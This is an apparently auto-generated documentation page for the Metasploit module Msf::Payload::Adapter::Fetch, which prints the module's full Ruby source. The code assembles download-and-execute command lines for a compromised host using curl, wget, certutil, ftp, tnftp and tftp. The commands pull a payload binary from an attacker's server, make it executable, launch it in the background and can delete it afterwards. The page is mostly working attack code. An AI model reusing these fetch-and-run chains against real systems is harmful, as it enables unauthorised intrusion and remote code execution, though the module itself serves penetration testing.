Module: Msf::Payload::Adapter::Fetch

Included in:
HTTP, Https, TFTP
Defined in:
lib/msf/core/payload/adapter/fetch.rb

Defined Under Namespace

Modules: HTTP, Https, LinuxOptions, TFTP, WindowsOptions

Instance Method Summary collapse

Instance Method Details

#_check_tftp_fileObject



169
170
171
172
173
174
175
# File 'lib/msf/core/payload/adapter/fetch.rb', line 169

def _check_tftp_file
  # Older Linux tftp clients do not support saving the file under a different name
  unless datastore['FETCH_WRITABLE_DIR'].blank? && datastore['FETCH_FILENAME'].blank?
    print_error('The Linux TFTP client does not support saving a file under a different name than the URI.')
    fail_with(Msf::Module::Failure::BadConfig, 'FETCH_WRITABLE_DIR and FETCH_FILENAME must be blank when using the tftp client')
  end
end

#_check_tftp_portObject



161
162
163
164
165
166
167
# File 'lib/msf/core/payload/adapter/fetch.rb', line 161

def _check_tftp_port
  # Most tftp clients do not have configurable ports
  if datastore['FETCH_SRVPORT'] != 69 && datastore['FetchListenerBindPort'].blank?
    print_error('The TFTP client can only connect to port 69; to start the server on a different port use FetchListenerBindPort and redirect the connection.')
    fail_with(Msf::Module::Failure::BadConfig, 'FETCH_SRVPORT must be set to 69 when using the tftp client')
  end
end

#_determine_server_comm(ip, srv_comm = datastore['ListenerComm'].to_s) ⇒ Object



178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
# File 'lib/msf/core/payload/adapter/fetch.rb', line 178

def _determine_server_comm(ip, srv_comm = datastore['ListenerComm'].to_s)
  comm = nil

  case srv_comm
  when 'local'
    comm = ::Rex::Socket::Comm::Local
  when /\A-?[0-9]+\Z/
    comm = framework.sessions.get(srv_comm.to_i)
    raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not exist") unless comm
    raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm
  when nil, ''
    unless ip.nil?
      comm = Rex::Socket::SwitchBoard.best_comm(ip)
    end
  else
    raise(RuntimeError, "SocketServer Comm '#{srv_comm}' is invalid")
  end

  comm || ::Rex::Socket::Comm::Local
end

#_execute_addObject



199
200
201
202
# File 'lib/msf/core/payload/adapter/fetch.rb', line 199

def _execute_add
  return _execute_win if windows?
  return _execute_nix
end

#_execute_nixObject



210
211
212
213
214
215
# File 'lib/msf/core/payload/adapter/fetch.rb', line 210

def _execute_nix
  cmds = "; chmod +x #{_remote_destination_nix}"
  cmds << "; #{_remote_destination_nix} &"
  cmds << ";rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
  cmds
end

#_execute_winObject



204
205
206
207
208
# File 'lib/msf/core/payload/adapter/fetch.rb', line 204

def _execute_win
  cmds = " & start /B #{_remote_destination_win}"
  cmds << " & del #{_remote_destination_win}" if datastore['FETCH_DELETE']
  cmds
end

#_generate_certutil_commandObject



217
218
219
220
221
222
223
224
225
226
227
228
229
230
# File 'lib/msf/core/payload/adapter/fetch.rb', line 217

def _generate_certutil_command
  case fetch_protocol
  when 'HTTP'
    cmd = "certutil -urlcache -f http://#{download_uri} #{_remote_destination}"
  when 'HTTPS'
    # I don't think there is a way to disable cert check in certutil....
    print_error('CERTUTIL binary does not support insecure mode')
    fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using CERTUTIL')
    cmd = "certutil -urlcache -f https://#{download_uri} #{_remote_destination}"
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  cmd + _execute_add
end

#_generate_curl_commandObject



232
233
234
235
236
237
238
239
240
241
242
243
244
# File 'lib/msf/core/payload/adapter/fetch.rb', line 232

def _generate_curl_command
  case fetch_protocol
  when 'HTTP'
    cmd = "curl -so #{_remote_destination} http://#{download_uri}"
  when 'HTTPS'
    cmd = "curl -sko #{_remote_destination} https://#{download_uri}"
  when 'TFTP'
    cmd = "curl -so #{_remote_destination} tftp://#{download_uri}"
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  cmd + _execute_add
end

#_generate_ftp_commandObject



247
248
249
250
251
252
253
254
255
256
257
258
# File 'lib/msf/core/payload/adapter/fetch.rb', line 247

def _generate_ftp_command
  case fetch_protocol
  when 'FTP'
    cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}"
  when 'HTTP'
    cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}"
  when 'HTTPS'
    cmd = "ftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}"
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
end

#_generate_tftp_commandObject



260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
# File 'lib/msf/core/payload/adapter/fetch.rb', line 260

def _generate_tftp_command
  _check_tftp_port
  case fetch_protocol
  when 'TFTP'
    if windows?
      cmd = "tftp -i #{srvhost} GET #{srvuri} #{_remote_destination} #{_execute_win}"
    else
      _check_tftp_file
      cmd = "(echo binary ; echo get #{srvuri} ) | tftp #{srvhost}; chmod +x ./#{srvuri}; ./#{srvuri} &"
    end
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  cmd
end

#_generate_tnftp_commandObject



276
277
278
279
280
281
282
283
284
285
286
287
# File 'lib/msf/core/payload/adapter/fetch.rb', line 276

def _generate_tnftp_command
  case fetch_protocol
  when 'FTP'
    cmd = "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}"
  when 'HTTP'
    cmd = "tnftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}"
  when 'HTTPS'
    cmd = "tnftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}"
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
end

#_generate_wget_commandObject



289
290
291
292
293
294
295
296
297
298
299
# File 'lib/msf/core/payload/adapter/fetch.rb', line 289

def _generate_wget_command
  case fetch_protocol
  when 'HTTPS'
    cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri}"
  when 'HTTP'
    cmd = "wget -qO #{_remote_destination} http://#{download_uri}"
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  cmd + _execute_add
end

#_remote_destinationObject



301
302
303
304
# File 'lib/msf/core/payload/adapter/fetch.rb', line 301

def _remote_destination
  return _remote_destination_win if windows?
  return _remote_destination_nix
end

#_remote_destination_nixObject



306
307
308
309
310
311
312
313
314
315
316
# File 'lib/msf/core/payload/adapter/fetch.rb', line 306

def _remote_destination_nix
  return @remote_destination_nix unless @remote_destination_nix.nil?
  writable_dir = datastore['FETCH_WRITABLE_DIR']
  writable_dir = '.' if writable_dir.blank?
  writable_dir += '/' unless writable_dir[-1] == '/'
  payload_filename = datastore['FETCH_FILENAME']
  payload_filename = srvuri if payload_filename.blank?
  payload_path = writable_dir + payload_filename
  @remote_destination_nix = payload_path
  @remote_destination_nix
end

#_remote_destination_winObject



318
319
320
321
322
323
324
325
326
327
328
# File 'lib/msf/core/payload/adapter/fetch.rb', line 318

def _remote_destination_win
  return @remote_destination_win unless @remote_destination_win.nil?
  writable_dir = datastore['FETCH_WRITABLE_DIR']
  writable_dir += '\\' unless writable_dir.blank? || writable_dir[-1] == '\\'
  payload_filename = datastore['FETCH_FILENAME']
  payload_filename = srvuri if payload_filename.blank?
  payload_path = writable_dir + payload_filename
  payload_path = payload_path + '.exe' unless payload_path[-4..-1] == '.exe'
  @remote_destination_win = payload_path
  @remote_destination_win
end

#default_srvuriObject

If no fetch URL is provided, we generate one based off the underlying payload data This is because if we use a randomly-generated URI, the URI generated by venom and Framework will not match. This way, we can build a payload in venom and a listener in Framework, and if the underlying payload type/host/port are the same, the URI will be, too.



39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# File 'lib/msf/core/payload/adapter/fetch.rb', line 39

def default_srvuri
  # If we're in framework, payload is in datastore; msfvenom has it in refname
  payload_name = datastore['payload'] ||= refname
  decoded_uri = payload_name.dup
  # there may be no transport, so leave the connection string off if that's the case
  netloc = ''
  if module_info['ConnectionType'].upcase == 'REVERSE' || module_info['ConnectionType'].upcase == 'TUNNEL'
    netloc << datastore['LHOST'] unless datastore['LHOST'].blank?
    unless datastore['LPORT'].blank?
      if Rex::Socket.is_ipv6?(netloc)
        netloc = "[#{netloc}]:#{datastore['LPORT']}"
      else
        netloc = "#{netloc}:#{datastore['LPORT']}"
      end
    end
  elsif module_info['ConnectionType'].upcase == 'BIND'
    netloc << datastore['LHOST'] unless datastore['LHOST'].blank?
    unless datastore['RPORT'].blank?
      if Rex::Socket.is_ipv6?(netloc)
        netloc = "[#{netloc}]:#{datastore['RPORT']}"
      else
        netloc = "#{netloc}:#{datastore['RPORT']}"
      end
    end
  end
  decoded_uri << ";#{netloc}"
  Base64.urlsafe_encode64(OpenSSL::Digest::MD5.new(decoded_uri).digest, padding: false)
end

#download_uriObject



68
69
70
# File 'lib/msf/core/payload/adapter/fetch.rb', line 68

def download_uri
  "#{srvnetloc}/#{srvuri}"
end

#fetch_bindhostObject



72
73
74
# File 'lib/msf/core/payload/adapter/fetch.rb', line 72

def fetch_bindhost
  datastore['FetchListenerBindAddress'].blank? ? srvhost : datastore['FetchListenerBindAddress']
end

#fetch_bindportObject



76
77
78
# File 'lib/msf/core/payload/adapter/fetch.rb', line 76

def fetch_bindport
  datastore['FetchListenerBindPort'].blank? ? srvport : datastore['FetchListenerBindPort']
end

#generate(opts = {}) ⇒ Object



80
81
82
83
84
85
86
87
88
89
# File 'lib/msf/core/payload/adapter/fetch.rb', line 80

def generate(opts = {})
  datastore['FETCH_SRVHOST'] = datastore['LHOST'] if datastore['FETCH_SRVHOST'].blank?
  fail_with(Msf::Module::Failure::BadConfig, 'FETCH_SRVHOST required') if datastore['FETCH_SRVHOST'].blank?
  opts[:arch] ||= module_info['AdaptedArch']
  opts[:code] = super
  @srvexe = generate_payload_exe(opts)
  cmd = generate_fetch_commands
  vprint_status("Command to run on remote host: #{cmd}")
  cmd
end

#generate_fetch_commandsObject



91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
# File 'lib/msf/core/payload/adapter/fetch.rb', line 91

def generate_fetch_commands
  # TODO: Make a check method that determines if we support a platform/server/command combination
  #
  case datastore['FETCH_COMMAND'].upcase
  when 'FTP'
    return _generate_ftp_command
  when 'TNFTP'
    return _generate_tnftp_command
  when 'WGET'
    return _generate_wget_command
  when 'CURL'
    return _generate_curl_command
  when 'TFTP'
    return _generate_tftp_command
  when 'CERTUTIL'
    return _generate_certutil_command
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
end

#generate_payload_uuid(conf = {}) ⇒ Object



117
118
119
120
121
# File 'lib/msf/core/payload/adapter/fetch.rb', line 117

def generate_payload_uuid(conf = {})
  conf[:arch] ||= module_info['AdaptedArch']
  conf[:platform] ||= module_info['AdaptedPlatform']
  super
end

#generate_stage(opts = {}) ⇒ Object



112
113
114
115
# File 'lib/msf/core/payload/adapter/fetch.rb', line 112

def generate_stage(opts = {})
  opts[:arch] ||= module_info['AdaptedArch']
  super
end

#handle_connection(conn, opts = {}) ⇒ Object



123
124
125
126
# File 'lib/msf/core/payload/adapter/fetch.rb', line 123

def handle_connection(conn, opts = {})
  opts[:arch] ||= module_info['AdaptedArch']
  super
end

#initialize(*args) ⇒ Object



3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# File 'lib/msf/core/payload/adapter/fetch.rb', line 3

def initialize(*args)
  super
  register_options(
    [
      Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]),
      Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces.', Rex::Text.rand_text_alpha(rand(8..12))], regex:/^[\S]*$/),
      Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]),
      Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ false, 'Local IP to use for serving payload']),
      Msf::OptString.new('FETCH_URIPATH', [ false, 'Local URI to use for serving payload', '']),
      Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces.', ''], regex:/^[\S]*$/)
    ]
  )
  register_advanced_options(
    [
      Msf::OptAddress.new('FetchListenerBindAddress', [ false, 'The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST']),
      Msf::OptPort.new('FetchListenerBindPort', [false, 'The port to bind to if different from FETCH_SRVPORT']),
      Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false]),
      Msf::OptString.new('FetchServerName', [true, 'Fetch Server Name', 'Apache'])
    ]
  )
  @delete_resource = true
  @fetch_service = nil
  @myresources = []
  @srvexe = ''
  @remote_destination_win = nil
  @remote_destination_nix = nil
  @windows = nil

end

#srvhostObject



128
129
130
# File 'lib/msf/core/payload/adapter/fetch.rb', line 128

def srvhost
  datastore['FETCH_SRVHOST']
end

#srvnameObject



151
152
153
# File 'lib/msf/core/payload/adapter/fetch.rb', line 151

def srvname
  datastore['FetchServerName']
end

#srvnetlocObject



132
133
134
135
136
137
138
139
140
# File 'lib/msf/core/payload/adapter/fetch.rb', line 132

def srvnetloc
  netloc = srvhost
  if Rex::Socket.is_ipv6?(netloc)
    netloc = "[#{netloc}]:#{srvport}"
  else
    netloc = "#{netloc}:#{srvport}"
  end
  netloc
end

#srvportObject



142
143
144
# File 'lib/msf/core/payload/adapter/fetch.rb', line 142

def srvport
  datastore['FETCH_SRVPORT']
end

#srvuriObject



146
147
148
149
# File 'lib/msf/core/payload/adapter/fetch.rb', line 146

def srvuri
  return datastore['FETCH_URIPATH'] unless datastore['FETCH_URIPATH'].blank?
  default_srvuri
end

#windows?Boolean

Returns:

  • (Boolean)


155
156
157
158
159
# File 'lib/msf/core/payload/adapter/fetch.rb', line 155

def windows?
  return @windows unless @windows.nil?
  @windows = platform.platforms.first == Msf::Module::Platform::Windows
  @windows
end